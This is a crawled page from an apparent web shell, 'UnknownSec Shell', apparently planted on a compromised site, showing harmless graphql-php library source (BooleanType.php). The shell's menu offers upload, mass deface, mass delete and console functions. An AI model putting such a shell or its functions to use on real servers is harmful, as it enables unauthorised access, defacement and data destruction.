shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
webonyx
/
graphql-php
/
src
/
Type
/
Definition
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
BooleanType.php
<?php declare(strict_types=1); namespace GraphQL\Type\Definition; use GraphQL\Error\Error; use GraphQL\Language\AST\BooleanValueNode; use GraphQL\Language\AST\Node; use GraphQL\Language\Printer; use GraphQL\Utils\Utils; class BooleanType extends ScalarType { public string $name = Type::BOOLEAN; public ?string $description = 'The `Boolean` scalar type represents `true` or `false`.'; /** * Serialize the given value to a Boolean. * * The GraphQL spec leaves this up to the implementations, so we just do what * PHP does natively to make this intuitive for developers. */ public function serialize($value): bool { return (bool) $value; } /** @throws Error */ public function parseValue($value): bool { if (\is_bool($value)) { return $value; } $notBoolean = Utils::printSafeJson($value); throw new Error("Boolean cannot represent a non boolean value: {$notBoolean}"); } public function parseLiteral(Node $valueNode, ?array $variables = null): bool { if ($valueNode instanceof BooleanValueNode) { return $valueNode->value; } $notBoolean = Printer::doPrint($valueNode); throw new Error("Boolean cannot represent a non boolean value: {$notBoolean}", $valueNode); } }
© 2026 UnknownSec